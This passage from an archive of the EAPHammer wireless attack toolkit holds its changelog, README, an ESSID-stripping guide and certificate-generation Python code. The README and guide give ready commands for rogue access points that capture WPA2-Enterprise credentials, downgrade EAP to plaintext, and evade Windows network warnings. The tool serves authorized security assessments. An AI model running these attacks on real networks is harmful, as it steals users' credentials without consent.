pax_global_header00006660000000000000000000000064145103211340014504gustar00rootroot0000000000000052 comment=442ee78fe1fc90aed49a8edc93249bca0efa203b eaphammer-1.14.0/000077500000000000000000000000001451032113400135265ustar00rootroot00000000000000eaphammer-1.14.0/.github/000077500000000000000000000000001451032113400150665ustar00rootroot00000000000000eaphammer-1.14.0/.github/ISSUE_TEMPLATE/000077500000000000000000000000001451032113400172515ustar00rootroot00000000000000eaphammer-1.14.0/.github/ISSUE_TEMPLATE/bug_report.md000066400000000000000000000017301451032113400217440ustar00rootroot00000000000000--- name: Bug report about: Create a report to help us improve title: '' labels: '' assignees: '' --- **Describe the bug** A clear and concise description of what the bug is. **To Reproduce** Steps to reproduce the behavior: 1. ... 2. ... 3. ... 4. ... **Expected behavior** A clear and concise description of what you expected to happen. **Screenshots** If applicable, add screenshots to help explain your problem. **Command string(s) used** The exact command(s) you used to trigger the bug. **EAPHammer verbose output (using the --debug flag)** Paste _redacted_ output here. **EAPHammer Version (./eaphammer --version)** Paste output here. **OS (the OS from which you are running EAPHammer)** Fill this in. **Configuration of Target Access Point (if known / applicable)** Fill this in if possible. **Configuration of Target Client Device (if known / applicable)** Fill this in if possible. **Additional context** Add any other context about the problem here. eaphammer-1.14.0/.github/ISSUE_TEMPLATE/feature_request.md000066400000000000000000000011231451032113400227730ustar00rootroot00000000000000--- name: Feature request about: Suggest an idea for this project title: '' labels: '' assignees: '' --- **Is your feature request related to a problem? Please describe.** A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] **Describe the solution you'd like** A clear and concise description of what you want to happen. **Describe alternatives you've considered** A clear and concise description of any alternative solutions or features you've considered. **Additional context** Add any other context or screenshots about the feature request here. eaphammer-1.14.0/.gitignore000066400000000000000000000020251451032113400155150ustar00rootroot00000000000000# Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] *$py.class # C extensions *.so # Distribution / packaging .Python env/ build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib/ lib64/ parts/ sdist/ var/ *.egg-info/ .installed.cfg *.egg # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports htmlcov/ .tox/ .coverage .coverage.* .cache nosetests.xml coverage.xml *,cover .hypothesis/ # Translations *.mo *.pot # Django stuff: *.log local_settings.py # Flask stuff: instance/ .webassets-cache # Scrapy stuff: .scrapy # Sphinx documentation docs/_build/ # PyBuilder target/ # IPython Notebook .ipynb_checkpoints # pyenv .python-version # celery beat schedule file celerybeat-schedule # dotenv .env # virtualenv venv/ ENV/ # Spyder project settings .spyderproject # Rope project settings .ropeproject eaphammer-1.14.0/Changelog000066400000000000000000000214731451032113400153470ustar00rootroot000000000000000.0.1 - Gabriel Ryan Initial release. 0.0.2 - Gabriel Ryan Added Changelog. Added tqdm to pip.req file. Added python-pip to kali-dependencies.txt. Added version string to ./eaphammer Updated README to reflect changes. 0.0.3 - Gabriel Ryan Removed submodules, updated setup.py to reflect this. 0.0.4 - Gabriel Ryan Updated to use local copy of s0lst1c3/hostapd-eaphammer (hostapd-wpe without Cupid and Karma, uses latest openssl, uses hostapd-2.6) Moved version string from ./eaphammer to ./config.py. Updated kali-dependencies.txt. Updated setup.py. Updated README to reflect changes. 0.0.5 - Gabriel Ryan Certs are now signed using sha256 to ensure compatibility with current versions of OpenSSL. wlan_clean() in core/utils.py now properly raises network interface after stopping NetworkManager. Updated version string in ./config.py. 0.0.6 - Gabriel Ryan Added WPASupplicant service to core utilities. Eaphammer now stops wpa_supplicant service. Updated version string in ./config.py. 0.0.7 - Gabriel Ryan Daemons now log to [project root]/logs directory. Dsniff's dnsspoof has been retired in favor dnsmasq. Integrated redirect server added for hostile portal attacks (see core/servers/redirect_server.py). Dnsmasq's config files are now managed by core.conf_manager. Dnsmasq DHCP Only and Captive Portal configurations have been improved. Responder now works swimmingly. Updated mainline logic for Captive Portal and Hostile Portal modes of operation (see eaphammer). Support for dnsmasq's dhcp-script option added. 0.0.8 - Gabriel Ryan Hostile portal attacks have been improved. Added autocrack and add functionality to support full EAP authentication. No longer kills NetworkManager. Uses nmcli to set interfaces to "unmanaged" instead. Added support for indirect wireless pivots (disable's Responder's SMB server so you can run MultiRelay, smbrelayx, etc). Added payload_generator script to generate timed Powershell payloads for indirect wireless pivots (note: timed payload is for PoC purposes. If you're doing it for real, use a CobaltStrike beacon, Empire agent, or other respectable implant instead). 0.0.9 - Gabriel Ryan Added ehdb script for updating and managing eap_user file. 0.1.0 - Gabriel Ryan Added major expansion to documentation (README.md). 0.1.1 - Gabriel Ryan Added support for ESSID cloaking. 0.1.2 - Gabriel Ryan Code cleanup. 0.1.3 - Gabriel Ryan EAPHammer now displays captured MS-CHAPv2 challenge / response pairs in Hashcat format. 0.1.4 - Gabriel Ryan Fixed issue where setup script was unable to download rockyou wordlist due to: https://github.com/danielmiessler/SecLists/issues/166 0.1.5 - Gabriel Ryan - Fixed an issue where iptables rules were being saved unnecessarily on startup - Updated CLI - Enhancement: granular configuration and AP management options - New feature: manually specify a config file - New feature: save config files - Enhancement: multiple instances of eaphammer can now be run concurrently - New feature: Added 802.11a and 5GHz support - New featuer: Added out-of-the-box support for 802.11n - Temporary files are now written to tmp dir - Removed the web_delivery server since it's not currently being used. - Hostapd is no longer started as a daemon process and controlled by core.services. Instead, it is loaded as a library within eaphammer and run in a separate thread (rather than its own child process). - Hostapd itself has been modified to ignore BSS conflicts when operating in 802.11n mode, which is necessary in order to successfully perform evil twin attacks in 802.11n mode (patch heavily derived from Mike Kazantsev's version (github.com/mk-fg)). Future versions will make this a feature that can be enabled or disabled based on user input. - Added apache2 as a dependency for Kali / Ubuntu / Debian. - Hostapd no longer user conf_manager. Instead, it is managed using the HostapdConfig class found in core/hostapd_config.py. The HostapdConfig class draws values from both the command line interface and settings/core/hostapd.ini. See README.md for details on how this works. - The command line interface has been updated to include 802.11n options, as well as both basic and advanced help output. - Command line interface has also been moved to a dedicated module found in core.cli.py. - Performed some code refactoring - Updated README.md 0.4.0 - Gabriel Ryan - New feature: password spraying attacks 0.5.0 - Gabriel Ryan EAPHammer now uses a local build of libssl that exists independently of the systemwide install. This local version is compiled with support for SSLv3, allowing EAPHammer to be used against legacy clients without compromising the integrity of the attacker's operating system. 0.6.0 - Gabriel Ryan EAPHammer ported to Python 3. 0.7.0 - Gabriel Ryan EAPHammer is now able to import external certificates, generate self-signed and trusted certificates, and load certificates at runtime. 0.8.0 - Gabriel Ryan Ported to hostapd 2.8 base. 0.9.0 - Gabriel Ryan Support for GTC logging added. GTC Downgrade attack implemented by editing .eap_user file. 0.9.1 - Gabriel Ryan Version string moved to a more sensible location. 1.0.0 - Gabriel Ryan Support for EAP-MD5,EAP-PEAP/MD5, and EAP-TTLS/MD5 added. 1.1.0 - Gabriel Ryan Added root check. 1.1.1 - Gabriel Ryan Fixed index error in autocrack. 1.2.0 - Gabriel Ryan No longer maintaining a dedicated version of Responder. Instead, relying on external dependency. 1.3.0 - Gabriel Ryan Hostapd now compiled with support for OWE, WPA3, and 802.11ax. However, these protocols have not yet been integrated with the rest of the project. 1.4.0 - Gabriel Ryan Added support for advanced karma attacks: known beacon (credit: Census Labs) and loud mode (credit: Sensepost). Added support for 802.11w (Protected Management Frames). 1.5.0 - Gabriel Ryan Added support for rogue AP attacks against networks that use OWE and OWE Transition Mode. 1.6.0 - Gabriel Ryan Added support for rogue AP attacks using WPA2-PSK (with handshake captures)(credit: Sensepost for original hostapd patch). 1.7.0 - Gabriel Ryan Added "Troll Defender" option that triggers Windows Defender on nearby Windows devices. 1.8.0 - Gabriel Ryan Improved EAP Downgrades. Users now have greater control over EAP Negotiation process. See [http://solstice.sh/wireless/eaphammer/2019/09/09/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/09/eap-downgrade-attacks/) for additional details. 1.8.1 - Gabriel Ryan Bug fix, resolves #109. 1.9.0 - Gabriel Ryan Documentation overhauled and moved to Wiki (thanks [FreqyXin](https://twitter.com/FreqyXin)!) 1.9.1 - Gabriel Ryan Added logo to documentation. 1.10.0 - Gabriel Ryan Added ssid and mac address level ACLs. 1.11.0 - Gabriel Ryan Added beacon forger for executing known SSID bursts 1.12.0 - Gabriel Ryan Added --known-ssids flag that can be used instead of --known-ssids-file flag. 1.12.1 - Gabriel Ryan Hostapd ctrl_interface name randomly generated to support multiple concurrent eaphammer instances, given absolute path 1.12.2 - Gabriel Ryan Fixed kali-setup file, updated kali-dependencies.txt file 1.12.3 - Gabriel Ryan Added official support for Parot OS (Security) 1.13.0 - Gabriel Ryan Revamped captive portal system. Added integrated website cloaner. Added raspbian support. 1.13.0 - Gabriel Ryan Revamped captive portal system. Added integrated website cloaner. Added raspbian support. 1.13.1 - Gabriel Ryan Updated pip.req to reflect changes in 1.13.0 - (Credit goes to Jan Rude (github.com/whoot)) 1.13.2 - Gabriel Ryan Resolve issue #142 by updating /src/ap/wpa_auth.c - (Credit goes to github.com/rsrdesarrollo) 1.13.3 - Gabriel Ryan Resolve issue #59 by fixing Python3 unicode bullshit. - (Credit goes to github.com/MarkusKrell) 1.13.4 - Gabriel Ryan Resolve issue #59 by fixing Python3 unicode bullshit. :D 1.13.5 - Gabriel Ryan Fixed gevent / python 3.9 related fuckery. eaphammer-1.14.0/ESSIDStripping.md000066400000000000000000000033661451032113400166270ustar00rootroot00000000000000# ESSID Stripping Add a non-printable UTF8 character to the AP ESSID to avoid new security settings on WiFi clients, such as Microsoft. This security configuration stores the information of the old connections and notifies if there are any changes, blocking the automatic connections and not allowing access to the network. In addition, the user's credentials could be obtained in case the computer uses client certificate or computer credentials in the domain, because for Windows is a new network. With this attack, the AP name is the same for the client, but Windows detects the full name as a new one, as it sees the non-printable characters. Then, the client asks for the username, password, etc. when logging in. Like a new network. The options are: - '\r' for a new line. - '\t' for a tab. - '\n' for a enter, like '\r'. - '\x20' for a space, like adding a white space after the SSID option using quotes. ## Attacking with original Eaphammer (only space) ```bash python3 ./eaphammer -i wlan3 --auth wpa-eap --essid "wifi-AP " --creds --negotiate balanced ``` ## Attacking with modified Eaphammer An example using the `--stripping '\r'` parameter is shown below. In this case we use '\r' because is not showed by Android and it may go unnoticed as a new line in Windows, Linux and iOS. ```bash python3 ./eaphammer -i wlan0 --auth wpa-eap --essid wifi-AP --creds --negotiate balanced --essid-stripping '\r' ``` ## Attacking manually using hostapd We only have to use the UTF8 essid options, and use the P options in the essid2 in the hostapd.conf file: ``` bash ssid2=P"wifi-AP\x20" utf8_ssid=1 ``` # Refs - https://aireye.tech/2021/09/13/the-ssid-stripping-vulnerability-when-you-dont-see-what-you-get/ - https://w1.fi/cgit/hostap/plain/hostapd/hostapd.conf eaphammer-1.14.0/LICENSE000066400000000000000000001045051451032113400145400ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. 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If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . eaphammer-1.14.0/README.md000066400000000000000000000200171451032113400150050ustar00rootroot00000000000000![logo](https://rawcdn.githack.com/s0lst1c3/eaphammer/ab8202de4a298957a2bc5662f986cdfb195490e4/docs/img/logo.png) by Gabriel Ryan ([s0lst1c3](https://twitter.com/s0lst1c3)) [![Foo](https://rawcdn.githack.com/toolswatch/badges/8bd9be6dac2a1d445367001f2371176cc50a5707/arsenal/usa/2017.svg)](https://www.blackhat.com/us-17/arsenal.html#eaphammer) Current release: [v1.14.0](https://github.com/s0lst1c3/eaphammer/releases/tag/v1.14.0) Supports _Python 3.9+_. Overview -------- EAPHammer is a toolkit for performing targeted evil twin attacks against WPA2-Enterprise networks. It is designed to be used in full scope wireless assessments and red team engagements. As such, focus is placed on providing an easy-to-use interface that can be leveraged to execute powerful wireless attacks with minimal manual configuration. To illustrate just how fast this tool is, our Quick Start section provides an example of how to execute a credential stealing evil twin attack against a WPA/2-EAP network in just commands. ## Disclaimer EAPHammer (the "Software") and associated documentation is provided “AS IS”. The Developer makes no other warranties, express or implied, and hereby disclaims all implied warranties, including any warranty of merchantability and warranty of fitness for a particular purpose. Any actions or activities related to the use of the Software are the sole responsibility of the end user. The Developer will not be held responsible in the event that any criminal charges are brought against any individuals using or misusing the Software. It is up to the end user to use the Software in an authorized manner and to ensure that their use complies with all applicable laws and regulations. ## Quick Start Guide - Kali Begin by cloning the __eaphammer__ repo using the following command: git clone https://github.com/s0lst1c3/eaphammer.git Next run the kali-setup file as shown below to complete the eaphammer setup process. This will install dependencies and compile the project: ./kali-setup To setup and execute a credential stealing evil twin attack against a WPA/2-EAP network: # generate certificates ./eaphammer --cert-wizard # launch attack ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ## Quick Start Guide - Parot OS (Security) Begin by cloning the __eaphammer__ repo using the following command: git clone https://github.com/s0lst1c3/eaphammer.git Next run the parot-setup file as shown below to complete the eaphammer setup process. This will install dependencies and compile the project: ./parot-setup To setup and execute a credential stealing evil twin attack against a WPA/2-EAP network: # generate certificates ./eaphammer --cert-wizard # launch attack ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ## Usage and Setup Instructions For complete usage and setup instructions, please refer to the project's wiki page: - [https://github.com/s0lst1c3/eaphammer/wiki](https://github.com/s0lst1c3/eaphammer/wiki) Features -------- - Steal RADIUS credentials from WPA-EAP and WPA2-EAP networks. - Perform hostile portal attacks to steal AD creds and perform indirect wireless pivots - Perform captive portal attacks - Built-in Responder integration - Support for Open networks and WPA-EAP/WPA2-EAP - No manual configuration necessary for most attacks. - No manual configuration necessary for installation and setup process - Leverages latest version of hostapd (2.8) - Support for evil twin and karma attacks - Generate timed Powershell payloads for indirect wireless pivots - Integrated HTTP server for Hostile Portal attacks - Support for SSID cloaking - Fast and automated PMKID attacks against PSK networks using hcxtools - Password spraying across multiple usernames against a single ESSID ### New (as of Version 1.14.0)(latest): Added support for ESSID Stripping attacks. Fixed many, many bugs. ### Captive Portal with Keylogging, Payload Delivery, and Integrated Website Cloaner (added in version 1.13.5): EAPHammer now has a modular captive portal with keylogging and payload delivery capabilities, as well as an integrated website cloaner for easily creating portal modules. ### WPA/2-PSK handshake captures (added as for version 1.7.0) EAPHammer now supports WPA/2-PSK along with WPA handshake captures. ### OWE (added as of Version 1.5.0): EAPHammer now supports rogue AP attacks against OWE and OWE-Transition mode networks. ### PMF (added as of Version 1.4.0) EAPHammer now supports 802.11w (Protected Management Frames), Loud Karma attacks, and Known Beacon attacks (documentation coming soon). ### GTC Downgrade Attacks EAPHammer will now automatically attempt a GTC Downgrade attack against connected clients in an attempt to capture plaintext credentials (see: https://www.youtube.com/watch?v=-uqTqJwTFyU&feature=youtu.be&t=22m34s). ### Improved Certificate Handling EAPHammer's Cert Wizard has been expanded to provide users with the ability to create, import, and manage SSL certificates in a highly flexible manner. Cert Wizard's previous functionality has been preserved as Cert Wizard's Interactive Mode, which uses the same syntax as previous versions. See [XIV - Cert Wizard](https://github.com/s0lst1c3/eaphammer/wiki/XIV.-Cert-Wizard) for additional details. ### TLS / SSL Backwards Compatibility EAPHammer now uses a local build of libssl that exists independently of the systemwide install. This local version is compiled with support for SSLv3, allowing EAPHammer to be used against legacy clients without compromising the integrity of the attacker's operating system. ### Supported EAP Methods EAPHammer supports the following EAP methods: - EAP-PEAP/MSCHAPv2 - EAP-PEAP/GTC - EAP-PEAP/MD5 - EAP-TTLS/PAP - EAP-TTLS/MSCHAP - EAP-TTLS/MSCHAPv2 - EAP-TTLS/MSCHAPv2 (no EAP) - EAP-TTLS/CHAP - EAP-TTLS/MD5 - EAP-TTLS/GTC - EAP-MD5 ### 802.11a and 802.11n Support EAPHammer now supports attacks against 802.11a and 802.11n networks. This includes the ability to create access points that support the following features: - Both 2.4 GHz and 5 GHz channel support - Full MIMO support (multiple input, multiple output) - Frame aggregation - Support for 40 MHz channel widths using channel bonding - High Throughput Mode - Short Guard Interval (Short GI) - Modulation & coding scheme (MCS) - RIFS - HT power management ## Contributing Contributions are encouraged and more than welcome. Please attempt to adhere to the provided issue and feature request templates. ## Versioning We use [SemVer](http://semver.org/) for versioning (or at least make an effort to). For the versions available, see [https://github.com/s0lst1c3/eaphammer/releases](https://github.com/s0lst1c3/eaphammer/releases). ## License This project is licensed under the GNU Public License 3.0 - see the [LICENSE.md](LICENSE.md) file for details. ## Acknowledgments This tool either builds upon, is inspired by, or directly incorporates nearly fifteen years of prior research and development from the following awesome people: * Brad Antoniewicz * Joshua Wright * Robin Wood * Dino Dai Zovi * Shane Macauly * Domanic White * Ian de Villiers * Michael Kruger * Moxie Marlinspike * David Hulton * Josh Hoover * James Snodgrass * Adam Toscher * George Chatzisofroniou * Mathy Vanhoef * Raúl Calvo Laorden For a complete description of what each of these people has contributed to the current wireless security landscape and this tool, please see: * [https://github.com/s0lst1c3/eaphammer/wiki/Acknowledgements](https://github.com/s0lst1c3/eaphammer/wiki/Acknowledgements) EAPHammer leverages a modified version of [hostapd-wpe](https://github.com/opensecurityresearch/hostapd-wpe) (shoutout to [Brad Anton](https://github.com/brad-anton) for creating the original), _dnsmasq_, [asleap](https://github.com/joswr1ght/asleap), [hcxpcaptool](https://github.com/ZerBea/hcxtools) and [hcxdumptool](https://github.com/ZerBea/hcxdumptool) for PMKID attacks, [Responder](https://github.com/SpiderLabs/Responder), and _Python 3.5+_. Finally, huge shoutout to the [SpecterOps](https://specterops.io/) crew for supporting this project and being a constant source of inspiration. eaphammer-1.14.0/SECURITY.md000066400000000000000000000001621451032113400153160ustar00rootroot00000000000000# Security Policy ## Reporting a Vulnerability If you find any security issues, please open an issue on GitHub. eaphammer-1.14.0/__version__.py000066400000000000000000000003151451032113400163600ustar00rootroot00000000000000__version__ = '1.14.0' __codename__ = 'Final Frontier' __author__ = '@s0lst1c3' __contact__ = 'gabriel<>transmitengage.com' __tagline__ = 'Now with more fast travel than a next-gen Bethesda game. >:D' eaphammer-1.14.0/base/000077500000000000000000000000001451032113400144405ustar00rootroot00000000000000eaphammer-1.14.0/base/module.py000066400000000000000000000017011451032113400162760ustar00rootroot00000000000000import sys class Module(object): def __init__(self): self.required_attrs([ 'name', 'mtype', 'author', 'description', ]) def required_attrs(self, attrs): if hasattr(self, '_required_attrs'): self._required_attrs += attrs else: self._required_attrs = attrs def validate(self): for ra in self._required_attrs: if not hasattr(self, ra): sys.exit('Missing attribute' + ra) def __str__(self): return f'{self.name:<16} - {self.description}' def __getitem__(self, key): for k,v in self.options.items(): if k.lower() == key.lower(): return self.options[k]['Value'] def __setitem__(self, key, value): for k,v in self.options.items(): if k.lower() == key.lower(): self.options[k]['Value'] = value eaphammer-1.14.0/cert_wizard/000077500000000000000000000000001451032113400160435ustar00rootroot00000000000000eaphammer-1.14.0/cert_wizard/__init__.py000066400000000000000000000003771451032113400201630ustar00rootroot00000000000000from cert_wizard.core import import_cert from cert_wizard.core import list_certs from cert_wizard.core import bootstrap from cert_wizard.core import interactive from cert_wizard.core import rebuild_dh_file from cert_wizard.core import create_server_cert eaphammer-1.14.0/cert_wizard/cert_utils.py000066400000000000000000000242141451032113400205750ustar00rootroot00000000000000import glob import os import pem import random import shutil from OpenSSL import crypto, SSL from settings.settings import settings DEFAULT_EXP = 94608000 DEFAULT_EXP_CA_CERT = 6307200 DEFAULT_ALGORITHM = 'sha256' DEFAULT_KEY_LEN = 2048 CA_CERTS_DIR = settings.dict['paths']['certs']['ca_certs_dir'] SERVER_CERTS_DIR = settings.dict['paths']['certs']['server_certs_dir'] ACTIVE_FULL_CHAIN_PATH = settings.dict['paths']['certs']['active_full_chain'] def activate_fullchain(full_chain_path): shutil.copyfile(full_chain_path, ACTIVE_FULL_CHAIN_PATH) def _list_certs_printer(key, subject_val, issuer_val): msg = '\t{0:<12} -> {1:<36}{0:<12} -> {2}' print(msg.format(str(key), str(subject_val), str(issuer_val))) def _list_certs_helper(cert_dir): for cert_path in glob.glob('{}/*.pem'.format(cert_dir)): cert = load_cert_from_pem(cert_path) issuer = cert.get_issuer() subject = cert.get_subject() print(cert_path+'\n') print('\tSubject:'+' '*44+'Issuer:') _list_certs_printer('CN', subject.CN, issuer.CN) _list_certs_printer('C', subject.C, issuer.C) _list_certs_printer('ST', subject.ST, issuer.ST) _list_certs_printer('L', subject.L, issuer.L) _list_certs_printer('OU', subject.OU, issuer.OU) _list_certs_printer( 'emailAddress', subject.emailAddress, issuer.emailAddress, ) print('\n') def list_certs(server=False, ca=False): # display everything by default unless we are filtering if not server and not ca: server = ca = True if server: _list_certs_helper(SERVER_CERTS_DIR) if ca: _list_certs_helper(CA_CERTS_DIR) def create_key_pair(key_length): key_pair = crypto.PKey() key_pair.generate_key(crypto.TYPE_RSA, key_length) return key_pair def load_certs_from_file(pem_path): for raw_pem in pem.parse_file(pem_path): if type(raw_pem) == pem._core.Certificate: yield crypto.load_certificate(crypto.FILETYPE_PEM, str(raw_pem)) elif type(raw_pem) == pem._core.PrivateKey: continue elif type(raw_pem) == pem._core.RSAPrivateKey: continue else: raise Exception("Invalid PEM file") def load_pems_from_file(pem_path, passwd=None): if passwd is not None: passwd = passwd.encode('ascii') for raw_pem in pem.parse_file(pem_path): if type(raw_pem) == pem._core.Certificate: yield crypto.load_certificate(crypto.FILETYPE_PEM, str(raw_pem)) elif type(raw_pem) == pem._core.PrivateKey: yield crypto.load_privatekey( crypto.FILETYPE_PEM, str(raw_pem), passphrase=passwd, ) elif type(raw_pem) == pem._core.RSAPrivateKey: yield crypto.load_privatekey( crypto.FILETYPE_PEM, str(raw_pem), passphrase=passwd, ) else: raise Exception("Invalid PEM file") def count_pems_in_file(pem_path): for index, raw_pem in enumerate(pem.parse_file(pem_path)): pass return index+1 def count_certs_in_file(pem_path): counter = 0 for raw_pem in pem.parse_file(pem_path): if type(raw_pem) == pem._core.Certificate: counter += 1 return counter def count_keys_in_file(pem_path): counter = 0 for raw_pem in pem.parse_file(pem_path): if type(raw_pem) == pem._core.PrivateKey: counter += 1 elif type(raw_pem) == pem._core.RSAPrivateKey: counter += 1 return counter def load_from_pem_helper(pem_path): with open(pem_path) as fd: return fd.read() def load_private_key_from_pem(private_key_pem_path, passwd=None): if passwd is not None: passwd = passwd.encode('ascii') private_key_pem = load_from_pem_helper(private_key_pem_path) return crypto.load_privatekey( crypto.FILETYPE_PEM, private_key_pem, passphrase=passwd, ) def load_cert_from_pem(cert_pem_path): cert_pem = load_from_pem_helper(cert_pem_path) return crypto.load_certificate(crypto.FILETYPE_PEM, cert_pem) def generate_pem_output_path(cn, output_dir): output_file = '{}.pem'.format(cn) output_path = os.path.join(output_dir, output_file) counter = 1 while os.path.exists(output_path): output_file = '{}-{}.pem'.format(cn, counter) output_path = os.path.join(output_dir, output_file) counter += 1 return output_path def write_server_cert_pem(server_cert, ca_cert=None, server_key_pair=None): output_path = generate_pem_output_path( ca_cert.get_subject().CN, SERVER_CERTS_DIR, ) if ca_cert is not None: ca_cert_pem = crypto.dump_certificate(crypto.FILETYPE_PEM, ca_cert) if server_key_pair is not None: private_key_pem = crypto.dump_privatekey( crypto.FILETYPE_PEM, server_key_pair, ) server_cert_pem = crypto.dump_certificate(crypto.FILETYPE_PEM, server_cert) msg = '[CW] New server cert and private key written to: {}' print(msg.format(output_path)) with open(output_path, 'w') as fd: if ca_cert is not None: fd.write(ca_cert_pem.decode('utf-8')) fd.write(server_cert_pem.decode('utf-8')) if server_key_pair is not None: fd.write(private_key_pem.decode('utf-8')) return output_path def write_full_chain_pem(full_chain): #full_chain = [ # [ private_key, server_cert, ca_cert_1, ca_cert_2, ... , ca_cert_n ] output_path = generate_pem_output_path( full_chain[1].get_subject().CN, SERVER_CERTS_DIR, ) with open(output_path, 'w') as fd: for member in full_chain: if type(member) == crypto.X509: member_pem = crypto.dump_certificate( crypto.FILETYPE_PEM, member, ) elif type(member) == crypto.PKey: member_pem = crypto.dump_privatekey( crypto.FILETYPE_PEM, member, ) else: msg = 'Invalid full chain member of type {}' raise Exception(msg.format(type(member))) fd.write(member_pem.decode('utf-8')) return output_path def write_ca_cert_pem(ca_cert, key_pair): output_path = generate_pem_output_path( ca_cert.get_subject().CN, CA_CERTS_DIR, ) msg = '[CW] New CA cert and private key written to: {}' print(msg.format(output_path)) ca_cert_pem = crypto.dump_certificate(crypto.FILETYPE_PEM, ca_cert) private_key_pem = crypto.dump_privatekey(crypto.FILETYPE_PEM, key_pair) with open(output_path, 'w') as fd: fd.write(private_key_pem.decode('utf-8')) fd.write(ca_cert_pem.decode('utf-8')) return output_path def set_subject(cert, cn, country=None, state_province=None, city=None, organization=None, org_unit=None, email_address=None): if country is not None: cert.get_subject().C = country if state_province is not None: cert.get_subject().ST = state_province if city is not None: cert.get_subject().L = city if organization is not None: cert.get_subject().O = organization if org_unit is not None: cert.get_subject().OU = org_unit if email_address is not None: cert.get_subject().emailAddress = email_address cert.get_subject().CN = cn return cert def create_ca_cert(cn, country=None, state_province=None, city=None, organization=None, org_unit=None, email_address=None, not_before=0, key_length=DEFAULT_KEY_LEN, not_after=DEFAULT_EXP, algorithm=DEFAULT_ALGORITHM): key_pair = create_key_pair(key_length) serial_number = random.getrandbits(64) server_cert = crypto.X509() server_cert.set_version(0x2) cert = set_subject(server_cert, cn, country, state_province, city, organization, org_unit, email_address) cert.set_serial_number(serial_number) cert.gmtime_adj_notBefore(not_before) cert.gmtime_adj_notAfter(not_after) cert.set_issuer(cert.get_subject()) cert.set_pubkey(key_pair) cert.sign(key_pair, algorithm) return cert, key_pair def create_csr(key_pair, cn, country=None, state_province=None, city=None, organization=None, org_unit=None, email_address=None, not_before=0, not_after=DEFAULT_EXP, algorithm=DEFAULT_ALGORITHM): req = crypto.X509Req() req.set_pubkey(key_pair) req = set_subject(req, cn, country, state_province, city, organization, org_unit, email_address) req.set_pubkey(key_pair) req.sign(key_pair, algorithm) return req def create_server_cert(req, ca_cert, ca_key_pair, not_before=0, not_after=DEFAULT_EXP, algorithm=DEFAULT_ALGORITHM): cert = crypto.X509() cert.set_version(2) serial_number = random.getrandbits(64) cert.gmtime_adj_notBefore(not_before) cert.gmtime_adj_notAfter(not_after) cert.set_issuer(ca_cert.get_subject()) cert.set_subject(req.get_subject()) cert.set_pubkey(req.get_pubkey()) cert.sign(ca_key_pair, algorithm) return cert eaphammer-1.14.0/cert_wizard/core.py000066400000000000000000000216041451032113400173500ustar00rootroot00000000000000import cert_wizard.cert_utils as cert_utils import os from cert_wizard.importer import cases from settings import settings # --cert-wizard import def import_cert(server_cert_path, private_key_path=None, ca_cert_path=None, passwd=None): # case 1 - all separate if private_key_path is not None and ca_cert_path is not None: server_pem_path = cases.all_separate( server_cert_path, private_key_path, ca_cert_path, passwd=passwd, ) # case 2 - separate ca and server certs integrated key above # case 3 - separate ca and serer certs integrated key below if private_key_path is None and ca_cert_path is not None: server_pem_path = cases.separate_ca_and_server_integrated_key( server_cert_path, ca_cert_path, passwd=passwd, ) # case 4 - combined ca and server certs integrated key above # case 5 - combined ca and server certs integrated key below if private_key_path is None and ca_cert_path is None: server_pem_path = cases.combined_ca_and_server_integrated_key( server_cert_path, passwd=passwd, ) # case 6 - combined ca and server certs separate key if private_key_path is not None and ca_cert_path is None: server_pem_path = cases.combined_ca_and_server_separate_key( server_cert_path, private_key_path, passwd=passwd, ) print('[CW] Activating full certificate chain...') cert_utils.activate_fullchain(server_pem_path) print('[CW] Complete!') return server_pem_path def list_certs(server=False, ca=False): cert_utils.list_certs(server=server, ca=ca) # --bootstrap OR --gen-cert server --self-signed def bootstrap(cn, country=None, state_province=None, city=None, organization=None, org_unit=None, email_address=None, not_before=0, key_length=cert_utils.DEFAULT_KEY_LEN, not_after=cert_utils.DEFAULT_EXP, algorithm=cert_utils.DEFAULT_ALGORITHM): print('[CW] Creating CA cert and key pair...') ca_cert, ca_key_pair = cert_utils.create_ca_cert( cn, country=country, state_province=state_province, city=city, organization=organization, org_unit=org_unit, email_address=email_address, not_before=not_before, not_after=not_after, key_length=key_length, algorithm=algorithm, ) print('[CW] Complete!') print('[CW] Writing CA cert and key pair to disk...') cert_utils.write_ca_cert_pem(ca_cert, ca_key_pair) print('[CW] Complete!') print('[CW] Creating server private key...') server_key_pair = cert_utils.create_key_pair(key_length) print('[CW] Complete!') print('[CW] Using server private key to create CSR...') req = cert_utils.create_csr( server_key_pair, cn, country=country, state_province=state_province, city=city, organization=organization, org_unit=org_unit, email_address=email_address, not_before=not_before, not_after=not_after, algorithm=algorithm, ) print('[CW] Complete!') print('[CW] Creating server cert using CSR and signing it with CA key...') server_cert = cert_utils.create_server_cert(req, ca_cert, ca_key_pair, not_before=not_before, not_after=not_after, algorithm=algorithm) print('[CW] Complete!') print('[CW] Writing server cert and key pair to disk...') full_chain = [ server_key_pair, server_cert, ca_cert ] full_chain_path = cert_utils.write_full_chain_pem(full_chain) print('[CW] Complete!') print('[CW] Activating full certificate chain...') cert_utils.activate_fullchain(full_chain_path) print('[CW] Complete!') return full_chain_path # --gen-cert server --signing-cert def create_server_cert(signing_cert_path, cn, signing_key_path=None, signing_key_passwd=None, country=None, state_province=None, city=None, organization=None, org_unit=None, email_address=None, not_before=0, key_length=cert_utils.DEFAULT_KEY_LEN, not_after=cert_utils.DEFAULT_EXP, algorithm=cert_utils.DEFAULT_ALGORITHM): print('[CW] Loading CA cert and key from disk...') ca_cert = cert_utils.load_cert_from_pem(signing_cert_path) if signing_key_path is None: ca_key = cert_utils.load_private_key_from_pem( signing_cert_path, passwd=signing_key_passwd, ) else: ca_key = cert_utils.load_private_key_from_pem( signing_key_path, 